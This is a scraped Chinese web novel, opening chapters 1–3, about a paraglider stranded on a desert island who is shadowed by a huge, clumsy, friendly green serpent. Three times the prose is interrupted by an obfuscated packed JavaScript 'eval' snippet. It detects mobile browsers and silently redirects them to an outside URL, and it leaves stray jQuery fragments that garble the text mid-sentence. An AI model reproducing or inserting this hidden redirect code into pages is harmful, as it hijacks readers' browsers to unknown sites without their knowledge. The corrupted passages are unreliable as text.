《掉落荒岛被青蛇缠上》 1. 巨蟒 001巨蟒 完了! 这是失去意识前,余初谨最后的念头。 作为滑翔伞爱好者,接触滑翔伞已有四年之久,完成了498次独立飞行,累计飞行时常高达1000小时。 极限运动伴随的风险不言而喻,正所谓常在河边走哪有不湿鞋。 “吧嗒”一声。 头顶伞绳竟无故绷断了两根。 位于高空之中的人指尖一颤,抬头看去,都来不及反应,人便瞬间失去平衡,在空中剧烈旋转起来。 风在耳边嘶鸣,像是要将人生生撕裂。 “吧嗒” 又是一声伞绳绷断的声音,如死神在耳边敲响的钟。 …… 不知过了多久,身体的疼痛唤醒了昏睡的人,她费力睁眼,一抹绿色映入眼帘。 层层叠叠的树叶,遮挡在眼前。 余初谨脑子迟钝片刻,才侃侃反应过来,她被吊挂在了一颗树上。 “我还活着?我活着,”先是诧异,后是狂喜,大笑出声:“哈哈哈……” 笑得太过,剧烈咳嗽起来。 “咳咳咳……” 好疼。 也不知道是伤在哪了,浑身都疼得厉害。 深吸口气,尝试调整姿势,小幅度活动手脚,一番检查下来,应该是没有骨折,估计只是小伤。 拨开眼前宽大的树叶,低头往下看,距离地面约莫十来米,底下是松软的沙土。 她所处的位置是一颗椰树,手边甚至还有几颗青色的椰子。 腥咸味的海风迎面而来,抬头便瞧见一望无际的海面。 整个海滩绵延看不到尽头,更不见人影,没有人生活的痕迹,萧索荒凉。 这似乎是个无人的荒岛。 也不知道在她昏迷之际,滑翔伞带着她在空中飘了多久,又飘到了什么方位。 余初谨眉心蹙起,但愿不会太偏僻,不然她很有可能得不到救援。 不过比起这些,现下最要紧的,是怎么从椰树上下去。 往下探看一眼,差不多足有六层楼的高度,跳下去肯定不行,只能顺着树干,慢慢往下挪。 身上缠绕的伞绳可以简单充当一下安全绳,余初谨冷静分析现下情况,思索应对策略。 没人救援就自救,总不能在树上等死。 余初谨很快动作起来,将伞绳一头绑在树上,另外一头绑在腰部。 正值中午,头顶烈阳暴晒,额头不断有汗珠滚落。 刚将伞绳固定在树上,扯了几下确定牢固度没问题后,正要把另外一头绑到腰部之时。 “嘶嘶” 耳边传来奇怪声响。 余初谨动作顿住,竖起耳朵听。 除了风刮动树叶的“沙沙”声,以及海浪拍打在沙滩上的“哗啦”声外,似乎并没有异常。 难道是听错了? 疑惑之际,“嘶嘶”声再次传来。 余初谨身体霎时紧绷,炎热的太阳晒在头顶,却惊出她一身冷汗来。 是蛇。 虽然没看到蛇在哪,但“嘶嘶”声清晰入耳,蛇大概率就在附近。 不能就在旁边吧,不能就在身后吧。 猛然回头。 身后空荡荡。 余初谨长松一口气。 魂都差点吓飞了,以为蛇在身后,还好只是虚惊一场,余初谨抚了抚心口。 不行,得赶紧绑好绳子,尽快从椰树上下去。 附近肯定有蛇,大概率就在这颗椰树上,估计离得还挺近,也不知道是不是毒蛇。 在这荒无人烟的地方被毒蛇咬一口,那基本上就等于宣判死亡。 蛇吐蛇信子的嘶嘶声仿佛一直盘旋在耳边,让余初谨倍感压力,绑伞绳的手微微颤抖起来。 这种颤抖感很熟悉,滑翔伞失控她无能为力时,也出现过这样的颤抖。 忽地,脚下传来“咔擦”一声,承担她重量的树干竟是突兀断裂。 都来不及反应,失重感袭来,人直直往下掉。 十几米高的椰树,虽然底下是沙地,但硬摔下去…… 完了,这下是真完了。 余初谨闭目,心如死灰,等着剧痛感传来。 然而痛感并未如期而至,她甚至还因为惯性往上回弹了一下。 余初谨:“?” 她似乎是摔在了软绵绵的一团上,很有弹性不说还柔柔软软,冰冰凉凉。 疑惑睁眼。 待到看清底下垫着的是什么后。 “啊” “啊啊啊啊” 尖叫。 余初谨瞬间弹了出去,本能地跑开两米。 刚刚分明就听到了蛇叫的声音,就说有蛇吧,谁能想到蛇不在树上,而在脚底。 而且也不是毒蛇,是一条巨蟒……巨巨巨大的巨蟒。 她不偏不倚,掉到了巨蟒盘绕成一团的身上。 救命。 余初谨感觉天都要塌了。 被巨蟒吃掉,还不如直接摔死,那起码痛快点。 顾不得多想,拔腿就跑,肾上腺素飙升,夺命狂奔,跑过之处都带起了一道劲风。 也不知道跑了多久,力竭之际,气喘吁吁回头。 一回头就目睹巨蟒挪动身体,在沙地上游动,“嗖”地冲了过来。 巨蟒通体青色,目测长有五米,庞大得简直令人感到惊悚,至于模样……具体模样也没时间看,反正是个丑东西。 明明力竭,但看着巨蟒不断逼近,余初谨的求生欲让她再次奔跑起来。 电视剧里常出现的一遇险就摔倒的情况,并没有出现在余初谨身上,但跑到最后,也是真没力气了。 跪坐在地,呼吸粗重不均,额头汗珠滴在沙面,热气瞬间蒸腾。 她想跑,可真跑不动了。 相比余初谨的狼狈,巨蟒却悠闲无比,蛇信子“嘶嘶”地吐着。 按理来说,人类的移动速度和巨蟒无法相提并论,它追上她应该是轻而易举的事,可跑了五分钟,这巨蟒愣是只跟在后面。 巨蟒始终保持着一米的距离,不远不近跟着,慢慢悠悠,不像是在捕猎,更像是在戏耍。 蛇的智商这么高吗,还会戏耍猎物玩? 算了,不重要了,总之今天难逃一死,而且大概率死的及其痛苦。 思绪百转千回,最终化作视死如归的眼神:“要吃就吃,做蛇也得有点蛇德,给个痛快吧。” 话说得洒脱,可声音带着颤,抵在沙地上的手也颤抖不止。 巨蟒忽地立起庞大身体,一道阴影也随之遮了过来,天仿佛一瞬暗了下来。 余初谨屏住呼吸,浑身发抖。 一秒过去,两秒过去,三秒…… 巨蟒毫无发动攻击的意思,它望着底下渺小的两脚兽,先是往左边歪一下头,后又往右边歪一下头,最后眨巴眨巴眼睛。 余初谨:“?” 这巨蟒怎么狗里狗气的。 之所以会有这样的感觉,是因为余初谨养了一只土狗大黄,大黄经常会做出这种左右歪头的动作。 巨蟒和大黄做出了一样的动作,但区别在于,狗狗很可爱,至于蛇,不寒而栗。 余初谨吞咽了下喉咙,说话都结巴:“你,你不吃我?你,你要是,要是不吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644045|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,我可就走了。” 说话间,巨蟒毫无预兆地靠近,蛇信子距离鼻尖只余几毫米。 余初谨霎时噤声,连呼吸都不敢了,额头沁出一层汗。 蛇信子粉中带点青,没有想象中的腥臭气味,反倒是带着淡淡的青草香。 余初谨一动不敢动,脑子却飞速运转,好浓的青草香,这家伙不能是个食草动物吧…… 不对,蛇怎么可能是食草动物。 脑子有点短路了。 巨蟒吐着蛇信子的同时又开始左右歪头,似乎是在打量余初谨。 巨蟒没有攻击的意思,左右歪头打量了一会,便开始围着余初谨打转。 长长的蛇尾巴围成了一个圈,把人圈在了一个范围里。 余初谨望着这一幕,身体再次不受控的颤抖,她不了解蛇,但也有所耳闻。 据说巨蟒吃猎物之前是要先把猎物缠绕起来,把猎物勒死之后,才会慢慢吞下。 现在,这蛇是打算把自己缠绕勒死吗。 慌乱恐惧之际,瞅见脚底有一块尖锐石头。 余初谨也不知哪里来的勇气,竟垂死挣扎般,快速捡起石头,想也没想直接就往蛇脑袋上一砸。 “啪” 准头还不错,石头正中蛇头。 虽然砸中了,但攻击力实在微弱。 巨蟒晃了晃被砸的脑袋,停下了围着人打转的动作,先是看向地上的石头,后又看向扔石头的两脚兽。 气氛沉寂数秒。 就在余初谨觉得她把巨蟒激怒了,要被一口吞下时,巨蟒却收回蛇信子,下巴缩了缩,嘴巴一撇,似乎还挺委屈。 委屈? 她可能是被吓疯了,居然会在一条巨蟒的脸上看到委屈的情绪。 余初谨强忍着恐惧,动作缓慢,再次捡起石头。 巨蟒见两脚兽又捡起了石头,淡青色的瞳孔突然放大。 余初谨握紧石头,严阵以待。 “嗖”一声,巨蟒猛地攻击过来。 不对。 余初谨懵了两秒,巨蟒怎么跑了,应该要攻击吃掉她的巨蟒“嗖”一下,跑走了。 跑到了距离余初谨五米开外,躲在了一颗椰树后。 余初谨看了看手上的石头,又看了看躲在树后,探着个大脑袋的巨蟒。 它……怕石头? 这么大体格子,还能怕她手上的石头? 余初谨试探性的做出投掷石头的动作。 巨蟒的大脑袋立马缩回,彻底躲到了树后。 它好像是真害怕这石头。 余初谨宝贝般紧紧抓着石头,仿佛抓住的不是石头,而是保命符。 虽然不知道巨蟒为什么怕石头,但短时间,有石头在手,这巨蟒应该不敢攻击自己。 惊吓过度导致她浑身脱力,一屁股坐在沙滩上,大口呼吸。 调整了好几分钟,才找回力气,而远处的巨蟒一直躲在树后不曾靠近,但也没有离开。 烈日当空,晒得人头皮发麻。 余初谨挣扎着爬起来,眼睛盯着巨蟒,谨慎的不敢露出背身,举着石头,倒退着走。 退得足够远后,这才转身开跑。 也不知跑了多久,等到她回头去看时,已然没了巨蟒的身影。 余初谨长长舒了一口气,低头摸索口袋,想要找到手机,但很可惜,早不见了。 落在这么个鬼地方,手机还没了,附近还有只巨蟒虎视眈眈,真是天崩开局。 唯一值得庆幸的是,暂时甩开了巨蟒,暂时安全了。 然而,下一秒。 “嘶嘶” 余初谨僵硬抬头。 2. 呼呼 002呼呼 头顶树上,巨蟒探出它的大脑袋,淡青色的瞳孔眨巴眨巴。 余初谨心中大骇,这丑蛇什么时候跟过来的,不是已经甩掉了吗! 余初谨立马拉开距离,举起手上的石头,做出要砸它的动作。 巨蟒瘪嘴,委委屈屈,把大脑袋缩回树后。 真是疯了,这已经是她第二次在巨蟒脸上看到委屈的情绪了,甚至它还会在委屈前瘪一下嘴…… 藏在树后的巨蟒,因为身体过于巨大,椰树根本遮不住它,脑袋虽然躲住了,但它的大尾巴还露在外面。 尾巴在沙地上扫来扫去,像是不安的小狗。 余初谨摇了摇头,什么小狗,小狗多可爱,这条丑蛇怎么能和小狗比! 巨蟒又一次探出头来,歪着它的丑脑袋看人。 “装什么可爱,你丑死了!”余初谨举起石头恐吓。 举起石头的瞬间,蛇头缩回了树后,再次躲了起来。 当然,它的躲藏也就只是把头藏起来,尾巴还露在外面,总给人一种……顾头不顾腚的憨憨感。 余初谨看了看手中的石头,也就巴掌大,不知道怎么就能吓唬住这条大蛇。 但不管如何,目前看来石头的威慑力还不错。 余初谨不想和巨蟒待在一处,尝试再次拉开距离逃跑,可尝试了几次后,人被折腾的筋疲力竭不说,那该死的丑蛇就是阴魂不散的在四周悠闲地晃荡。 赶不走又跑不掉,余初谨只能被迫接受和巨蟒共处一片沙滩的事实。 横竖巨蟒也没有攻击人的意思,那就不管它了,现在最要紧的是想办法联系到人,离开这鬼地方。 没有手机无法通讯,怎样才能让人注意到这座孤岛,生起火堆,让这里冒起烟火,或许能吸引到人的注意。 可是她没有生火工具,也没有野外生存的经历,靠纯手工钻木取火,她就是钻上个一天都不见得能钻出火花来。 自己有命在这里活一天吗? 余初谨看向躲在树后的蛇,不对,现在已经爬到树上了。 青色的大尾巴缠绕在树上,缠成一圈,大脑袋搭在树干上,直勾勾看着下方的人。 余初谨捏紧石头,顺带摸了摸胳膊,起了一层鸡皮疙瘩。 好丑好可怕的一条蛇! 收回目光,不敢再看。 短时间内生火求救不现实,只能另寻别的办法,她看向地面松软的沙滩,用脚踩了踩,轻轻一踩就能留下一个脚印,福至心灵。 捡来一根树枝,在沙滩上写字,尽量写大一点,以此来加大只要有直升机路过就能看到的概率。 她在沙滩上写下SOS。 感觉写的不够大不够深,又重新加深加大,拿着树枝跑到这边划拉一笔,又跑到那边划拉一笔。 不过写简单的三个字母,就消耗了所剩不多的体力,写完后双手搭在膝盖上,气喘吁吁起来。 短暂休息片刻,抬头准备检查一下写的sos还有没有需要完善的地方,就见一根青色的大尾巴不知道什么时候探了过来。 余初谨警铃大作,还没来得及亮出用于威慑的石头,那尾巴却先一步绕了个弯。 尾巴没有靠近余初谨,反倒是靠近了地上刚写下的sos。 青色大尾巴惬意地扫啊扫,三下五除二,余初谨费老大力气写下的求救信息,两秒就扫没了。 余初谨表情怔住。 “你干什么!”反应过来后,愤怒非常,都忘记害怕这大家伙了:“我写半天才写好,你两秒就给扫没了,你这丑蛇故意的是不是!!” 大嗓门突然吼过去,蛇尾巴吓了一跳,缩了回去,眼睛眨巴眨巴,青色的瞳孔里透出几分茫然无辜。 余初谨咬牙切齿,举着石头威胁:“你再扫一个试试!” 巨蟒将尾巴盘了起来,脑袋躲树后,额头抵在树干上,偷偷观察着举着石头的两脚兽。 余初谨压下火气,重新捡起树枝,重新写。 一边写,一边时不时亮出石头,威吓威吓那条丑蛇,免得它又拿尾巴把字给扫没了。 终于再次写完,疲惫地一屁股坐地上,大口喘气。 “呼,呼呼呼……” 远处,盘绕在树上的大蛇,咧着个嘴在那呼呼呼,也不知道呼什么。 蛇发出呼呼的动静代表什么? 很快,她反应过来了。 因为余初谨大口喘气时,蛇就在那呼呼呼,余初谨停止了大口喘气,那蛇就不呼了。 有一个不成熟的猜测。 余初谨严重怀疑,蛇是见到她大口喘气觉得好玩,它也跟着学喘气。 为了验证猜测,余初谨故意大口吸气呼气,弄出很大动静。 下一秒,大蛇有样学样,吸一口,鼓起脸颊,然后“呼呼呼”。 很好,没猜错,它就是在学人呼吸。 很沉默。 这是个什么玩意啊,性格真的不像蛇,看起来憨憨蠢蠢的。 余初谨晃了晃脑袋,不再关注那蠢蛇,抬头看天,烈阳高照,舔了舔干到起皮的嘴唇。 好渴,她需要喝水。 吞了吞干到冒烟的嗓子,目光落在远处的海面上,叹息一声,海水是光看不能喝的玩意。 扫到树林边缘的椰树,眼睛一亮,差点把椰子给忘了,椰汁是天然的水源。 从地上爬起身,小跑到椰树底下,跑一半又折回来,把石头捡上拿着,以防巨蟒袭击。 来到椰树底下,抬头看,最矮的椰树都高足十米,爬树去摘几乎不可能,但问题不大,树底下有很多跌落的椰子。 成熟跌落的椰子几乎密密麻麻,但大多已经腐烂发黑,找了一圈,勉强找到五个还算是完好的。 把捡到的好椰子聚集放一块。 余初谨摸了摸下巴,新的难题,怎么打开它们? 椰子外壳相当坚硬,用刀砍开都很费力,更别说现在没有刀。 余初谨低头,看向手中唯一的工具,石头。 叹口气,试试吧,不试也没办法,太渴了。 找了个树下阴凉地,盘腿坐下,开始用石头砸椰子。 “啪” “啪啪” 砸椰子的声音不绝于耳。 远处盘绕在树上的巨蟒,歪着大脑袋,好奇地看着她的动作。 余初谨用石头砸了好一会,手都震麻了,结果椰子也就破开了个表皮。 稍一思忖,换了个办法,找了块尖锐的礁石,用椰子往石头上撞击。 比起石头砸椰子,椰子砸石头,显然更省力,更有效。 折腾半天,总算弄出一个小破口,开始上手掰。 掰啊掰,掰啊掰,终于…… 累瘫了。 倒在地上,闭眼大口呼吸。 身下的沙子烫人,感觉人都要被烤熟了,又渴又热还有些昏沉,不知道是不是中暑了。 头顶遮住阳光的树叶郁郁葱葱,光影斑驳,但躺在树下的人,死气沉沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644046|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 喉咙干得像是要冒火,她急需水源,必须打开椰子,她必须冷静冷静耐心耐心再耐心。 深吸一口气,长长吐出,咬牙爬起来,准备继续去开椰子。 视线一扫,椰子呢? 余初谨茫然片刻,刚刚还在脚边,椰子长腿了?跑了? 不等疑惑太久,就见巨蟒那边正拿着椰子当毽子踢。 尾巴顶一下椰子,抛到空中,又顶一下,又抛到空中,玩得正开心。 余初谨放在旁边的椰子,全被巨蟒“偷”了过去,卷在它的尾巴中间,成为了它的所有物。 看着这一幕,余初谨一阵沉默,一条蛇会用尾巴抛椰子玩,杂技团进修过? 当然这不是重点,重点是其中一个椰子,她都剖开很大一块了,再坚持坚持马上就能打开。 很想从蛇尾巴下拿回来属于她的椰子。 但拿回来的想法显然不现实,总不能去和它抢,余初谨怕椰子没抢到,自己就先进蛇腹了。 轻叹口气,打算重新去椰树底下捡一个椰子。 正把椰子当毽子踢的巨蟒,似有所觉,大脑袋转过来,直勾勾盯着人看。 余初谨心下一悸,不着痕迹躲开视线,避免和这大家伙对上视线。 “嘶嘶” 听到这声音,余初谨胳膊不自觉起了一层鸡皮疙瘩。 握紧手中的石头,石头能给她带来安全感。 然而,巨蟒这次似乎没那么害怕石头了,居然过来了。 余初谨如临大敌,立马举起石头:“别过来,再过来我砸你了。” 巨蟒停住动作,但也没后退,而是尾巴随意卷起一个椰子,放到嘴边。 “嘎嘣”一声,咬开了。 它把椰子咬开,放下,然后滑溜滑溜地又缩回它的树后躲着了。 余初谨看了看躲到树后的巨蟒,又看了看放在地上的椰子。 这丑蛇,刚刚帮自己把椰子打开了? 惊讶,不可思议,还有点荒诞。 太渴了,想不了太多,余初谨小跑过去,拿起椰子,也顾不得什么形象不形象,捧起来就“咕噜咕噜”地喝。 清甜清甜的椰汁入喉,整个人都活了过来。 野生椰子的水分并不多,喝了两口就没了。 余初谨意犹未尽地舔了舔嘴唇,看向旁边没有打开的剩余四个椰子。 捡起一个,试探性地丢到巨蟒那边去,或许它能再帮着打开一个。 巨蟒飞快用尾巴卷走椰子,“嘎嘣”一声脆响,成功咬开。 椰子再次放到余初谨面前的地面上,过后还特别懂事的把尾巴缩了回去。 余初谨赶紧捡起地上的椰子,仰头,又是几口就把椰汁喝完了。 刚喝完,巨蟒又开了一个椰子。 还挺勤快。 一连开了五个椰子,巨蟒却好像是开椰子开上了瘾,没得椰子开了,它还自己去爬椰树,摘椰子继续开。 余初谨坐在地上,捧着椰子,看着飞快窜上十几米高椰树的巨蟒,若有所思。 蛇有这么高的智商吗,会摘椰子,会帮人开椰子,怎么比自家大黄都要聪明的样子。 余初谨眯着眼睛,仔细观察这条巨蟒。 通体青色,没有花纹,长约五米。 观察着观察着,余初谨眼睛忽地瞪大,“蹭”一下站了起来。 余初谨揉了揉眼睛,不可思议,她不能是眼花了吧,刚刚看到什么了,居然看到这条蛇…… 3. 过夜 003过夜 在树上摘椰子的巨蟒,嫌尾巴不够用,用上了手。 没错就是手,或许用手来形容不准确,用爪子来形容更为贴切。 青色的两个小爪子,短短的,不仔细留意都发觉不了。 要不是看到它两个爪子一爪一个椰子,余初谨都留意不到这家伙居然还长了爪子。 巨蟒是有爪子的吗? 涉及到了余初谨的知识盲区了,她说不上很怕蛇,但也绝对不喜欢这种玩意,因此很少会去了解相关方面的知识。 或许这世界上就是有长五米,通体青色,长了两爪子,智商很高会开椰子,狗里狗气的蛇? 余初谨点点头,世界之大无奇不有,说不定还真就有这个品种的蛇。 没见过没听说过,不代表没有,也有可能是自己孤陋寡闻。 一通分析下来,余初谨成功将自己说服,主要是不把自己说服,她会怀疑是自己脑子坏了,得神经病了。 巨蟒一爪拿一个椰子,尾巴再卷三个,屁颠屁颠从树上下来了。 它似乎知道余初谨不喜欢它靠近,选择待在不远不近的距离处,继续开椰子。 余初谨自然不会阻止,虽然现在不渴了,但多开几个也是好的,等过会渴了再喝。 有个现成的劳动力,劳动力还干得特起劲,不用白不用。 劳动力巨蟒,干得非常卖力,“嘎嘣”咬一个椰子,“嘎嘣”又咬了一个椰子。 咬了一个又一个,最后把咬开的椰子摆成一排。 做完这些,它两个小爪子在沙地上踩啊踩,尾巴在沙地上扫啊扫…… 说实话,画面挺诡异。 但莫名的,余初谨懂它是什么意思。 巨蟒或许是在说:看看看,我给你开了好多椰子,我厉不厉害,快夸我快夸我。 余初谨清了清嗓子,竖起大拇指,试探性地夸了一句:“真棒,真厉害。” 巨蟒咧嘴,笑了,露出一口大白牙,小爪子在地上踩得更欢乐了,在沙地上踩出一个又一个的爪子印记。 余初谨看着它兴奋踩爪子的样,以及那一口大白牙,有点沉默,还真是在邀功等夸啊。 不对,蛇的牙齿,是整齐一排的吗?? 余初谨凌乱了。 凌乱片刻又调理好了,可能是什么少见的珍稀品种蛇,没错没错,就是这样的。 看着踩爪子的憨憨蛇,可能过于憨了,憨得余初谨都没那么怕它了。 虽然丑是丑了点,大是大了点,长得可怕是可怕了点,但它会给她开椰子,怎么不算一条虽然长得丑但是还算善良的蛇呢。 余初谨强行给这条蛇定义成了一条好蛇。 现在水源问题暂时得到解决,被巨蟒盯着可能被吃掉的危险似乎也短暂解除,或许该想点其他的事情了。 瞧这情况,她很有可能需要在座岛上生活一段时间,运气好可能几天内就会被人发现救走,运气不好那就难说了。 余初谨收敛思绪,不愿意去想最坏的结果。 她看向远处,夕阳西落,暗红的天色倒影在波光粼粼的海面上,美得如梦似幻。 风景美是美,可余初谨却没什么心情欣赏,趁着天色还没彻底暗下来之前,她得找到一个可以休息过夜的地方。 其实也没有挑选的余地,要么睡在海边,要么进入沙滩后方的树林。 后者直接被余初谨否决,树林草木繁盛,连进去的路都没有,黑洞洞阴森森,都不知道里面有没有野兽。 外围都有只巨蟒,那里面有几个大型野兽似乎也合乎情理,能不进去最好不要进去。 不能进树林,那就只剩下在海边露宿这个选项了。 余初谨先是把挂在树上的伞包残骸扯下来,伞衣虽然已经破烂不堪,但晚上睡觉的时候用来垫在身下还是可以的。 伞衣被撕裂成好几块,一部分落在地上,一部分挂在树上。 余初谨回头,看了眼正狗狗祟祟躲在树后偷看的大蛇。 让它帮忙把挂树上的伞衣弄下来?转念又还是算了,反正手上收集的这些也够用了,暂时就不管挂在树上的那部分了。 找了一颗树叶茂密的大树,扫去地上的枯叶,垫上伞衣,隔绝沙土,收拾一番,这就是今晚睡觉的地方了。 看了眼身后的树林,但愿晚上不会窜出个野兽来一口把自己吞掉,要是能生起火来,想必能威吓到其他野兽。 但很可惜,她没火,开个椰子都废了她半天时间,最后还是靠大蛇才打开的,就别提更复杂的钻木取火了。 天越黑,恐慌感越重。 “嘶嘶” 大蛇依旧躲在不远处的树后。 之前听到它的嘶嘶声,鸡皮疙瘩掉一地,现在听到它的嘶嘶声,莫名有点安全感。 这家伙,帮她开椰子了,这么长时间虽然一直在旁边转悠不愿离开,但也没有伤害人,如果有别的野兽从树林里窜出来攻击她,它应该也会帮忙驱赶一下吧? 它是好蛇,它应该会帮忙,余初谨自我安慰一番,肚子传来“咕”一声。 饿了。 一天没吃饭,就喝了点椰子水,想不饿都难。 看向被丢置在一旁的椰子壳,走过去捡起来,看了眼里面的椰肉。 椰肉热量很高,作为应急食物,是很不错的选择。 这么一看,椰子还真全身都是宝贝,椰汁当水源,椰肉当食物。 找了根树枝当勺子用,盘腿坐下,开始专心致志地挖椰肉吃,口感软绵绵的,微微甜,还不错。 一口接着一口的吃,吃着吃着,远处传来咀嚼声。 抬眸看去,远处树下,某条巨蟒,尾巴缠着椰子,爪子笨拙地捏着一根树枝,正挖椰肉吃呢。 余初谨合理怀疑蛇是在学她,就像白天学她大口喘气呼呼一样。 她需要树枝当勺子,那是因为挖不到里面的椰肉,可它那爪子小巧灵活,可比树枝好用多了,直接进去掏椰肉就是了。 但它就不掏,非要不熟练的用树枝挖。 学人蛇一个。 余初谨用树枝挖一下,巨蟒就用树枝挖一下,她咬一口椰肉,它就咬一口椰肉。 最重要的是,她半天挖不出椰肉,不免面部表情有点扭曲。 巨蟒居然有样学样的在那学她龇牙咧嘴。 真的是…… “你这条蛇有病吧。”余初谨笑骂。 巨蟒听到余初谨说话,立马歪头眨眼,像是在试图分辨余初谨说的话的意思。 余初谨放下椰子,坐直身子,看向它。 它也有样学样地放下椰子,立起蛇身,看向她。 立起来的巨蟒太高,有点吓人。 余初谨抬头看它,压下恐惧,好声好气和它商量,“那什么,咱们也算是不打不相识,晚上的时候,如果树林里有野兽出来攻击我,你保护我一下,行吗。” 巨蟒左歪歪头,右歪歪头。 “你不说话,我就当你答应了。”余初谨仗着它不会说话,直接替它答应了。 巨蟒继续左歪歪头,右歪歪头。 余初谨摆摆手:“行了,玩你的去吧,有危险了你就保护我,没危险……你就离我远点,你也挺吓人的。” 巨蟒“嘶嘶”两声,咧着嘴,还挺乐呵的样。 余初谨陷入沉思,蛇有这么丰富的面部表情吗。 算了,不重要,余初谨拿起椰子,继续挖椰肉吃,刚吃的时候感觉味道还行,这吃多了吧,寡淡。 想吃炸鸡想喝可乐,想…… 叹息一声,也不知道什么时候能离开这个鬼地方,不能被困几年吧,不能一辈子都被困在这个岛上吧。 不可能不可能,不至于那么惨。 吃得差不多了,把椰子往旁边一丢,旁边的学人蛇,立马也把椰子往旁边一丢。 余初谨:“……” 余初谨靠坐在树干上,望着远处海面,天色越来越暗,直至太阳彻底西落。 海风迎面吹来,携带着海水的咸腥味,不算好闻,但也说不上难闻。 昼夜温差大,但余初谨身上有一件冲锋衣外套,虽然后背被刮出了一个大口子,但用来御寒,还是很管用的。 黑色冲锋衣,宽松的浅色休闲裤,以及一双帆布鞋,外加垫在底下的破烂滑翔伞,基本就是她现下拥有的全部身家了。 “咔嚓” 身后树林传来树枝断裂的声音,余初谨鼓起勇气,才敢寻声看去,黑洞洞的树林,什么也瞧不见。 刚刚的动静,也不知道是什么动物发出的,不能有狮子老虎这一类猛兽吧? 远处那条巨蟒打得过狮子老虎吗。 “蛇,”余初谨有些不放心,出声喊:“你还在吗。” 很快,远处传来声音,像是在回应:“嘶嘶。” 余初谨点头,在就好,在就没那么怕了。 余初谨躺下,想睡一觉休息休息,这一天折腾太多,她早就疲惫不堪了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644047|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 身体是疲惫的,但翻来覆去就是睡不着,外加上一听到树林里传来动静就神经紧绷。 隔一会就喊一声,“蛇,还在吗。” “嘶嘶。” 又隔一会,“在吗。” “嘶嘶。” 余初谨怕着怕着,又有点想笑,这蛇还挺体贴,只要她一出声就必定会回应一声。 它能听懂自己说的话吗,它一直都生活在这个孤岛上吗,它有朋友吗,它的妈妈它的家人去哪了。 睡不着,余初谨思绪开始乱飞。 慢慢的,竟也在这种环境下睡了过去。 不知睡了多久,迷迷糊糊睁眼时,她回到了宽敞明亮又温度适宜的房间,床头趴着一只大黄狗。 余初谨摸摸狗头,“大黄啊,吓死我了,我刚刚做了个噩梦,滑翔伞我以后还是不玩了,毕竟小命就一条,我还是得爱惜爱惜……” 一边揉狗头,一边叽叽喳喳说话。 狗头揉着揉着,动作一顿,“不是,大黄,你今天的手感怎么有点儿奇怪。” 原本摸起来毛茸茸,暖呼呼的大黄,怎么冰凉凉的,滑滑的。 不确定,再摸两下。 还是不确定,大力再摸两下。 猛然睁眼,“蹭”一下坐起,这里哪里是房间,分明就是孤岛上的海滩,摸着的哪里是大黄,而是大蛇脑袋。 “嘶嘶。” “啊!” 余初谨发出土拨鼠尖叫。 巨蟒被她叫得一激灵,晃了晃脑袋。 余初谨弹射拉开距离,指着它:“你你你,你干嘛,你不是一条好蛇吗,你怎么又想吃我。” 巨蟒左歪头,右歪头,吐出蛇信子,“嘶嘶”两声。 余初谨抄起地上石头,巨蟒见状,眼睛瞪大,飞快溜走,躲到远处的树后,探出个大脑袋,偷偷观察余初谨。 准确来说,是在观察余初谨手上的石头。 余初谨缓下心悸后,看向远处的大蛇,这家伙,一晚上都趴自己脑袋边上吗,它趴自己脑袋边上干什么,也不太像是要吃人,不然要吃早吃了。 总不能是和大黄一样,喜欢挨着人睡觉吧。 此刻的巨蟒,一面观察着余初谨,一面小爪子抓树,抓得树“嘎吱嘎吱”响。 它在干嘛,磨爪子吗,蛇还需要磨爪子的吗。 余初谨缓了缓,懒得再研究这条奇奇怪怪的大蛇,走到海边,捧起水,往脸上拍打。 冰凉的海水拍打在脸上,瞬间醒了神。 巨蟒也来到了海边,学着余初谨的样子,小爪子捧起水,往脸上泼水,泼了几下,觉得效率不够,一脑袋直接扎水里去了,动作太大,四周溅起水花。 头太大,水又太浅,它一头扎下去,直接就扎到了泥沙里。 大蛇很懵,脑袋直甩。 余初谨好笑地看着这一幕,这蛇真是个蠢憨憨。 简单的洗漱了一下后,余初谨先是检查了一下地上写的sos,确认字迹还很清晰后,便开始在海边闲逛顺带捡垃圾。 虽说是孤岛,但海边还是漂浮了小部分垃圾,平时这些东西是垃圾,但现在于余初谨而言,就是有用的工具了。 看到一个矿泉水瓶,余初谨兴奋地跑过去捡起来,这是好东西,可以用来收集水源。 沿着海边走了好一会,除了一个矿泉水瓶外,就是一些食品垃圾袋,用处不大,但余初谨秉承着万一有用的原则,能捡上的全都捡上了。 至于那条蛇,跟后面呢,一面跟着,一面尾巴扫着水玩,时不时还故意把水扫到余初谨身上。 忍了几次,忍不了了,回头,举起石头。 巨蟒眼睛瞪大,缩起头来。 